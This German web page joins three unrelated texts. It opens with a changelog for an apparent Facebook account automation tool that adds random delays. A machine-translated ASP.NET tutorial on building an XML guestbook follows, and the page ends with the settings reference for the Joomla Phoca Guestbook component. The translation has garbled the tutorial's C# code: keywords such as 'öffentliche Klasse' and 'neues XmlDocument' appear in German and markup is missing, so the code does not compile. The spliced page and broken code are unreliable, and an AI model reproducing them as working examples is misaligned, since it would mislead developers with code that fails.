    • Möglichkeit hinzugefügt, alle ausgewählten Links zu Profilen im Fenster zur Anzeige der Profilliste zu kopieren (und nicht nur eines)
    • implementierte Randomisierung jeder Verzögerung innerhalb von ± 20 %
    • Im Gruppenlistenfenster wurde ein Dropdown-Menü hinzugefügt, um die Liste zu verwalten: löschen, kopieren, im Browser öffnen
    • verbesserte Aussagekraft von Meldungen über Probleme mit der Autorisierung
    • Laden/Speichern der Benutzerliste aus/in XML-Datei korrigiert
    • Die Arbeit einiger Optionen zum automatischen Ausfüllen von Konten wurde korrigiert
    • Aktualisiert Abrufen von Profilparametern auf Facebook

    Kürzlich arbeitete ich an meiner Website und beschloss, ein Gästebuch zu implementieren. Ich fing an, das Web zu durchsuchen, um das beste Gästebuch für meine Website zu finden, aber als keines auftauchte, dachte ich: „Hey, ich bin Entwickler, warum erstelle ich nicht mein eigenes?“

    Es war sehr einfach, ein Gästebuch zu erstellen - Sie können es auch tun. In diesem Tutorial zeige ich Ihnen wie. Ich gehe davon aus, dass Sie bereits Kenntnisse über die Grundlagen der ASP.NET-Programmierung haben, dass Sie die Techniken von CodeBehind kennen und dass Sie über einige XML/XSL-Kenntnisse verfügen.

    Überblick

    Was brauchen wir, um ein Gästebuch zu erstellen? Wir brauchen zwei Web-Formular s: eines, in das der Benutzer seinen Namen, seine E-Mail-Adresse und einen Kommentar eingeben kann, und ein anderes, das verwendet wird, um diese Kommentare anzuzeigen, wenn er sich im Gästebuch anmeldet. Natürlich können wir diese Funktionalität in ein Webformular einbauen, aber um einen sauberen Code zu haben, verwende ich zwei Webformulare mit mehreren CodeBehind-Dateien (auf die ich gleich noch näher eingehen werde).

    Wir benötigen außerdem eine Datenbank, um die über das Formular eingegebenen Informationen zu speichern. Ich habe eine einfache XML-Datei (eine Datenbank) verwendet, um die vom Benutzer eingegebenen Informationen zu speichern. Für die Visualisierung des XML verwenden wir XSL.

    Zusammenfassend benötigen wir also Folgendes:

    • zwei Webformulare
    • Codebehind
    • Datenbank

    In einem Gästebuch reicht es normalerweise aus, den Namen, den Standort, die E-Mail-Adresse, die Website-Adresse und den Kommentar eines Benutzers zu speichern. Natürlich können Sie weitere Felder hinterlegen, aber für unsere Zwecke reichen diese aus. Wir speichern diese Daten in der XML-Datei, die in etwa so aussehen wird:




    Sonu Kapoor
    Deutschland
    [E-Mail geschützt]
    www.codefinger.de
    Dieses Gästebuch wurde von Sonu Kapoor geschrieben.
    Ich hoffe du magst es. Um zu erfahren, wie man ein solches Gästebuch erstellt,
    Lesen Sie die ganze Geschichte auf meiner Website.


    Eintrag ins Gästebuch

    Wir erlauben dem Benutzer, unser Gästebuch zu „signieren“, indem er einige Informationen in ein einfaches Webformular eingibt – in unserem Beispiel ist dies die Datei guestbook.aspx. Ich verwende die folgenden Felder im Webformular:

    • Lage
    • Email
    • Webseite
    • Kommentar

    Hier ist der Code:

    <% @Page Language="C#" Debug="true" Src="Guestbook.cs"
    Erbt="Gästebuch" %>


    ...
    ...

    ControlToValidate="Name"
    ErrorMessage="Sie müssen einen Wert in Textbox1 eingeben"
    Display="dynamisch">Namen eingeben

    ControlToValidate="Standort" ErrorMessage="Sie müssen eingeben
    einen Wert in textbox1" Display="dynamic">
    Ort eingeben



    column="50" rows="10" wrap="true" runat="server"/>

    ControlToValidate="Kommentar" ErrorMessage="Sie müssen eingeben
    einen Wert in textbox1" Display="dynamic">
    Kommentar eingeben

    OnClick="Save_Comment"/>

    ...
    ... ein paar Visualisierungs-Sachen machen
    ...

    Um Sie nicht mit unnötigem Code zu verwirren, habe ich die Visualisierungs-Tags entfernt – einschließlich Tabelle, Tabellenkopf usw. - aus diesem Beispiel (obwohl diese natürlich alle in dem herunterladbaren Code enthalten sind, der am Ende dieses Tutorials bereitgestellt wird). Da wir nur ein einfaches Formular mit wenigen Feldern und Schaltflächen darstellen, können Sie in dieser Datei keinen echten Programmiercode sehen. Dies liegt daran, dass die gesamte Funktionalität im CodeBehind verborgen ist.

    In der ersten Zeile des obigen Codes setze ich das SRC-Attribut, um die ASP.NET-Datei wissen zu lassen, dass wir die CodeBehind-Datei Guestbook.cs verwenden. Ich habe auch das Attribut Inherits mit dem entsprechenden Klassennamen gesetzt. Dieses Attribut teilt der Datei mit, welche Klasse sie erben soll.

    Als nächstes habe ich die erforderlichen Textfelder implementiert. Denken Sie daran, dass, wenn Sie dieselben Variablen im Codebehind verwenden möchten, diese in beiden Dateien dieselbe ID haben und als öffentlich deklariert sein müssen.

    Im nächsten Abschnitt des Codes habe ich die ASP.NET-Validierungssteuerelemente verwendet. Diese Steuerelemente prüfen, ob der Benutzer einen Wert in das Textfeld eingegeben hat, ohne einen Roundtrip zum Server durchzuführen. Der Code wird auf der Clientseite ausgeführt.

    Schließlich habe ich einen Submit-Button mit einem OnClick-Event namens Save_Comment implementiert. Dieses Ereignis wird verwendet, um die vom Benutzer in die XML-Datei eingegebenen Informationen zu speichern. Die Funktion dieses Ereignisses ist in Guestbook.cs verfügbar. Ich habe auch einen Reset-Button implementiert - und das war's! Am Webformular muss nichts weiter gemacht werden. Wenn Sie nun guestbook.aspx ausführen, sollten Sie ein Webformular sehen, das wie folgt aussieht:

    Jetzt wissen wir, wie das Webformular angezeigt wird, aber wir haben den Code nicht gesehen, der das Ereignis in guestbooks.cs behandelt. Schauen wir uns das jetzt an.

    Verwenden des Systems;
    mit System.Web;
    mit System.Web.UI;
    mit System.Xml;

    Gästebuch der öffentlichen Klasse: Seite
    {
    // Erstellen Sie die erforderlichen Webcontrols mit demselben Namen wie
    in der Datei guestbook.aspx
    öffentlicher TextBox-Name;
    öffentlicher TextBox-Standort;
    öffentliche TextBox-E-Mail;
    öffentliche TextBox-Website;
    öffentlicher TextBox-Kommentar;

    Public void Save_Comment(object sender, EventArgs e)
    {
    // Alles ist in Ordnung, also speichern wir die Daten
    in die XML-Datei
    XMLDaten speichern();

    // Entfernen Sie die Werte der Textfelder
    name.Text="";
    Standort.Text="";
    website.Text="";
    email.Text="";
    Kommentar.Text="";
    }
    }

    Privat void SaveXMLData()
    {
    // XML-Datei laden
    XmlDocument xmldoc = neues XmlDocument();
    xmldoc.Load(Server.MapPath("guestbook.xml"));

    //Erstelle ein neues Gastelement und füge es dem Stammknoten hinzu
    XmlElement parentNode = xmldoc.CreateElement("guest");
    xmldoc.DocumentElement.PrependChild(parentNode);

    // Erstellen Sie die erforderlichen Knoten
    XmlElement nameNode = xmldoc.CreateElement("name");
    XmlElement locationNode = xmldoc.CreateElement("location");
    XmlElement emailNode = xmldoc.CreateElement("email");
    XmlElement websiteNode = xmldoc.CreateElement("website");
    XmlElement commentNode = xmldoc.CreateElement("comment");

    // Text abrufen
    XmlText nameText = xmldoc.CreateTextNode(name.Text);
    XmlText locationText = xmldoc.CreateTextNode(location.Text);
    XmlText emailText = xmldoc.CreateTextNode(email.Text);
    XmlText websiteText = xmldoc.CreateTextNode(website.Text);
    XmlText commentText = xmldoc.CreateTextNode(comment.Text);

    // die Knoten ohne den Wert an den parentNode anhängen
    parentNode.AppendChild(nameNode);
    parentNode.AppendChild(locationNode);
    parentNode.AppendChild(emailNode);
    parentNode.AppendChild(websiteNode);
    parentNode.AppendChild(commentNode);

    // den Wert der Felder in den Knoten speichern
    nameNode.AppendChild(nameText);
    locationNode.AppendChild(locationText);
    emailNode.AppendChild(emailText);
    WebsiteNode.AppendChild(WebsiteText);
    commentNode.AppendChild(commentText);

    // In der XML-Datei speichern
    xmldoc.Save(Server.MapPath("guestbook.xml"));

    // Dem Benutzer das signierte Gästebuch anzeigen
    Response.Redirect("viewguestbook.aspx");
    }
    }

    Wow! Das ist unsere Codebehind-Datei … aber was passiert hier wirklich? Sie werden es nicht glauben, aber die Antwort lautet: „nicht viel“!

    Zuerst implementieren wir die minimal erforderlichen Namespaces, die wir benötigen, um auf einige wichtige Funktionen zugreifen zu können. Dann erstelle ich eine neue Klasse namens Guestbook:

    öffentliche Klasse Gästebuch: Seite

    Beachten Sie, dass diese Klasse von der Datei guestbook.aspx geerbt wird. Dann deklarieren wir 5 öffentliche Variablen vom Typ Textbox. Denken Sie daran, dass die Namen hier mit denen identisch sein müssen, die wir beim Erstellen der Textfelder in guestbook.aspx verwendet haben. Dann verwenden wir, wie Sie sehen können, das Ereignis Save_Comment, das durch die Schaltfläche zum Senden ausgelöst wird, die wir in die Datei guestbookpx eingefügt haben. Dieses Ereignis wird verwendet, um die Daten zu speichern.

    Der Sparprozess

    Die Funktion SaveXMLData() speichert die Informationen für uns. Da wir zum Speichern der Informationen eine XML-Datenbank verwenden, verwenden wir die Klassen XmlDocument , XmlElement und XmlText , die alle benötigten Funktionen bereitstellen.

    Als nächstes erstellen wir ein neues Klassenobjekt XMLDocument und laden die Datei guestbook.xml. Die erforderlichen Knoten werden mit der Funktion CreateElement erstellt, und die vom Benutzer eingegebenen Informationen werden abgerufen und in einem Objekt von XmlText gespeichert. Als nächstes speichern wir die erstellten Knoten ohne Werte, indem wir die Funktion AppendChild in Verbindung mit dem XmlDocument-Hauptobjekt verwenden.

    Und schließlich werden die Werte in den gerade erstellten Knoten gespeichert, wir speichern alle Änderungen in der Datei guestbook.xml und leiten die Seite auf viewguestbook.aspx um, wo der gespeicherte Kommentar angezeigt wird.

    Einsehen des Gästebuchs

    Um das Gästebuch anzuzeigen, müssen wir ein weiteres Webformular erstellen:

    <% @Page Language="C#" Debug="true" Src="ViewGuestbook.cs"
    Inherits="ViewGuestbook" %>

    Wie Sie sehen, leistet dieses Webformular nicht wirklich viel. Es ruft einfach die Codebehind-Datei ViewGuestbook.cs auf. Werfen wir einen Blick auf diese Datei.

    Verwenden des Systems;
    mit System.Web;
    mit System.Web.UI;
    mit System.Web.UI.WebControls;
    mit System.Xml;
    mit System.Xml.Xsl;
    mit System.IO;

    Öffentliche Klasse ViewGästebuch: Seite
    {
    private void Page_Load(object sender, System.EventArgs e)
    {
    //Lade die XML-Datei
    XmlDocument doc = neues XmlDocument();
    doc.Load(Server.MapPath("guestbook.xml"));

    //Lade die XSL-Datei
    XslTransform xslt = new XslTransform();
    xslt.Load(Server.MapPath("guestbook.xsl"));

    String xmlQuery="//Gästebuch";
    XmlNodeList nodeList=doc.Dokument
    Element.SelectNodes(xmlQuery);

    MemoryStream ms=neuer MemoryStream();
    xslt.Transform (doc, null, ms);
    ms.Seek(0, SeekOrigin.Begin);

    StreamReader sr = neuer StreamReader(ms);

    //Ergebnis ausdrucken
    Response.Write (sr.ReadToEnd());
    }
    }

    Ich habe diese Klasse erstellt, um unseren Benutzern alle Kommentare anzuzeigen, die über das Gästebuch eingereicht wurden. Auch hier implementieren wir zunächst die erforderlichen Namespaces, und da wir XSL für die Visualisierung verwenden, müssen wir sicherstellen, dass der Namespace System.Xml.Xsl enthalten ist.

    Dann erstellen wir eine neue Klasse namens ViewGuestbook mit einer privaten eingebauten Funktion namens Page_Load . Diese Funktion wird immer aufgerufen, wenn die Seite geladen wird oder wenn der Benutzer eine Aktualisierung durchführt. Hier lädt die Funktion die Datei guestbook.xml, und dann wird die XslTranform-Klasse verwendet, um die XML-Elemente in HTML umzuwandeln, bevor wir die guestbook.xsl mit Hilfe eines XslTransform-Objekts laden.

    Als nächstes erstellen wir ein neues Objekt der Klasse XmlNodeList , mit dem wir die erforderlichen Knoten auswählen können. Wir verwenden dann die Klasse MemoryStream , die über den Namensraum System.IO verfügbar ist, um einen Stream zu erstellen, der Speicher als Sicherungsspeicher hat, und verwenden die Transform-Funktion, um die XML-Daten diesem Speicherstream zuzuweisen. Die Seek-Funktion setzt die aktuelle Position auf Null.

    Anschließend erstellen wir ein Objekt der Klasse StreamReader , das den Stream ausliest, und geben das Ergebnis mit Hilfe der Funktion ReadToEnd() aus. Diese Funktion liest den Stream von der aktuellen Position bis zum Ende. Wenn Sie viewguestbook.aspx ausführen, sollten Sie ein Webformular wie dieses sehen:

    Das XSL

    Wie ich bereits erwähnt habe, verwenden wir XSL für die Transformation der Daten von XML nach HTML. Ich bin davon ausgegangen, dass Sie bereits Erfahrung mit XSLT haben, daher gehe ich hier nur auf die wichtigen Aspekte ein. Ich habe eine XSL-for-each-Schleife verwendet, um alle Gäste im Buch zu durchlaufen, die ungefähr so ​​​​aussehen:



    Und in der Schleife rufen wir den XSL-Template-Namen auf, der etwa so aussieht:



    Fazit

    Wie Sie sehen, ist es nicht sehr schwierig, ein Gästebuch zu erstellen. viel Glück! Und nicht vergessen.

    Hallo Leser Webseite)

    In diesem Artikel werden wir uns das Phoca Guestbook ansehen - eine Gästebuchkomponente für Joomla-Seiten.

    Was kann ich über diese Komponente sagen... Sie ist sehr einfach und leicht zu verwalten und hat eine ausreichende Anzahl von Einstellungen, um Bewertungen auf Ihrer Website zu veröffentlichen.

    Funktionen des Phoca-Gästebuchs:

    • Wahl der Zugriffsrechte für Benutzer;
    • Filtern unerwünschter Wörter und Phrasen;
    • Sperrung von IP-Adressen;
    • Begrenzung der Anzahl gedruckter Zeichen;
    • Captcha;
    • Modernisierung von Nachrichten (Prüfung durch Moderator);
    • Darstellung von Bewertungen (Farbe, Anzeigename, Anzeige-E-Mail und Website-Adresse).

    Schauen wir uns also die Komponente an.

    Nach der Installation, Phoca Gästebuch benötigt keine globalen Einstellungen.

    Schalttafel:

    • Beiträge - alle Nachrichten, die von Benutzern hinterlassen wurden;
    • Gästebücher - Kategorien (erstellte Gästebücher);
    • Info - Informationen und Aktualisierung der Komponente.

    Wie Sie sehen können, gibt es in der Abbildung rechts eine Schaltfläche "Einstellungen". Wenn Sie darauf klicken, können Sie das Gästebuch und die Komponente selbst umfangreicher konfigurieren.

    Parameter

    Bedeutung

    Betreff im Formular anzeigen

    (Ja | Ja (erforderlich) | Nein) Objektfeld im Formular ein- oder ausblenden, festlegen, ob das Betrefffeld erforderlich ist

    Anzeigename im Formular

    (Ja | Ja (erforderlich) | Nein) den Feldnamen im Formular ein- oder ausblenden, festlegen, ob das Feld Name benötigt wird

    E-Mail im Formular anzeigen

    (Ja | Ja (erforderlich) | Nein) E-Mail-Feld im Formular ein- oder ausblenden, ggf. E-Mail-Feld einstellen

    Website im Formular anzeigen

    (Ja | Ja (erforderlich) | Nein) Anzeigen oder Ausblenden des Site-Felds im Formular. Legen Sie das Feld fest, wenn die Site erforderlich ist

    Inhalt im Formular anzeigen

    (Ja | Ja (erforderlich) | Nein) Blendet den Inhalt des Felds im Formular ein oder aus

    Aktivieren Sie den Javascript-Editor

    (Ja | Nein) JavaScript-Editor aktivieren oder deaktivieren

    Anzeigepfad im Javascript-Editor

    (Ja | Nein) Pfadinformationen im JavaScript-Editor ein- oder ausblenden

    (Ausblenden | Anzeigen) Legen Sie fest, ob das Formular angezeigt werden soll oder nicht.

    (Oben | Unten) Aktuelle Position auswählen

    Erforderliches Zeichen anzeigen

    (Ja | Nein) Legen Sie fest, dass die erforderlichen Felder angezeigt werden

    (Ja | Nein) Einstellen, um Meldungen anzuzeigen.

    Breite (in Pixel)

    Höhe (in Pixel)

    Legen Sie die Breite der Tabelle fest (die Tabelle, in der das Formular angezeigt wird, in Pixel)

    Parameter

    Bedeutung

    Wenn ein nicht registrierter Benutzer eine Nachricht hinterlässt, können Sie ihm einen Standardnamen geben. Beispiel: Gast

    Benutzername oder Name

    (Benutzername | Name) wählen Sie den Namen aus, der im Gästebuch angezeigt werden soll (Benutzername oder echter Benutzername)

    Benutzerprüfung deaktivieren

    (Nein | Ja) Benutzerüberprüfung (das Deaktivieren dieser Einstellung wird nicht empfohlen)

    Ausschließlich registrierte Benutzer

    (Ja | Nein) Wenn ja, dann können nur registrierte Benutzer neue Nachrichten hinzufügen

    (Ja | Nein) Wenn ja, wird die Nachricht nach Genehmigung durch den Administrator angezeigt

    einen Brief schicken

    Parameter

    Bedeutung

    Anzeigename im Beitrag

    (Ja | Nein) Name anzeigen oder verbergen (Benutzername) (Gästebuch)

    E-Mail im Beitrag anzeigen

    (Ja | Nein) E-Mail anzeigen oder verbergen (Gästebuch)

    Website im Beitrag anzeigen

    (Ja | Nein) Seite im (Gästebuch) ein- oder ausblenden

    Datumsformat festlegen

    Schriftfarbe einstellen

    Zweite Schriftfarbe

    Zweite Schriftfarbe einstellen (Datumsschriftfarbe)

    Hintergrundfarbe

    Hintergrundfarbe festlegen

    Rahmenfarbe einstellen

    Paginierungs-Standardwert

    Legen Sie den Standardwert für die Paginierung fest

    Paginierung festlegen. Durch ein Komma (,) voneinander getrennt

    Paginierung Alle ausblenden

    (Ja | Nein) alle Werte werden ausgeblendet (Paginierung)

    Parameter

    Bedeutung

    Filter für verbotene Wörter

    Legen Sie verbotene Wörter fest, die nicht in der Benutzeroberfläche angezeigt werden. Wörter werden durch ein Komma (,) voneinander getrennt

    Verbotener Ganzwortfilter

    Legen Sie alle verbotenen Wörter fest, die nicht in der Benutzeroberfläche angezeigt werden. Wörter werden durch ein Komma (,) voneinander getrennt

    Beitrag mit verbotenen Wörtern speichern

    (Ja | Nein) Wenn ja, dann werden Beiträge mit verbotenen Wörtern im Gästebuch gespeichert (verbotene Wörter werden ausgeblendet, wenn gespeichert)

    Fügen Sie die IPs hinzu, die Sie blockieren möchten. Trennen Sie jede IP mit einem Komma (,)

    Maximale Zeichen

    Legen Sie die maximale Anzahl von Zeichen fest, die sie in der Datenbank speichern können

    Legen Sie die maximale Anzahl von URLs fest, die in einem Beitrag angezeigt werden können (0: nein, Links werden in Beiträgen angezeigt, -1: alle URLs werden in Beiträgen angezeigt, z. B. 3: nur drei Links von allen URLs werden in angezeigt Beiträge)

    Nicht erlaubte URL-Identifikationswörter

    Eine Reihe von Wörtern, die bestimmen, ob URLs in der Nachricht zulässig sind. Trennen Sie jedes Wort durch ein Komma (,). Beispiel:: / /,. .htm. Asp. JSP. PHP, www.,. com. org.

    Aktivieren oder deaktivieren Sie den Captcha-Schutz

    Ändern Sie diese Einstellung nur, wenn Sie das Captcha nicht sehen.

    Captcha-Benutzer aktivieren

    (Alle | Nicht registriert) Captcha-Anzeigeoption für Benutzergruppen (ob Captcha für registrierte Benutzer angezeigt werden soll)

    Standard-Captcha-Zeichen

    Zahlen, Kleinbuchstaben, Großbuchstaben, die im Standard-Captcha-Bild angezeigt werden

    Mathe-Captcha-Zeichen

    Zahlen, Kleinbuchstaben, Großbuchstaben, die im Math Captcha-Bild angezeigt werden sollen

    TTF-Symbole

    Zahlen, Kleinbuchstaben, Großbuchstaben, die im TTF-Captcha-Bild angezeigt werden sollen

    TTF-Captcha-Zeichen

    Um Re-Captcha anzuzeigen, geben Sie den öffentlichen Code ein

    Öffentlicher reCAPTCHA-Schlüssel

    Installieren Sie den öffentlichen Recaptcha-Schlüssel

    Aktivieren Sie den Akismet-Spamschutz

    (Nein | Ja) Sendet alle Daten des neuen Gästebucheintrags an Akismet - einen Webdienst zur Spam-Prüfung

    Spam blockieren (Akismet)

    (Nein | Ja) Posts blockieren, die nicht von Akismet verifiziert wurden

    Installieren Sie den Akismet-API-Schlüssel, der mit Akismet-Spam verwendet werden soll. Holen Sie sich Ihren kostenlos unter https://akismet.com/signup/

    Die Haupt-URL Ihrer Website. (URL muss das Präfix http:// enthalten)

    Aktivieren Sie den HTML-Reiniger

    (Nein | Ja) HTML Purifier aktivieren oder deaktivieren

    Sitzungssuffix festlegen (Dies ist eine Sicherheitsfunktion, um den Sitzungsnamen zu ändern, legen Sie ein eindeutiges Suffix fest, zum Beispiel: a100b20c3)

    Verstecktes Feld aktivieren

    (Nein | Ja) Ausgeblendete Felder ein- oder ausschalten. Einige Spam-Bots versuchen, alle Felder an Ort und Stelle auszufüllen, wenn sie dieses versteckte Feld ausfüllen, das die Person nicht sehen kann, wird der Eintrag nicht in das Gästebuch aufgenommen.

    (Ja | Nein) Cache aktivieren.

    Aktivieren Sie die Erkennung eingehender Seiten

    (Ja | Nein) Aktivieren oder deaktivieren Sie die Erkennung eingehender Seiten. Dies ist eine Sicherheitsfunktion. Wenn Sie es aktivieren, wird die Seite, von der der Eintrag ins Gästebuch kam, gespeichert und in der Oberfläche angezeigt.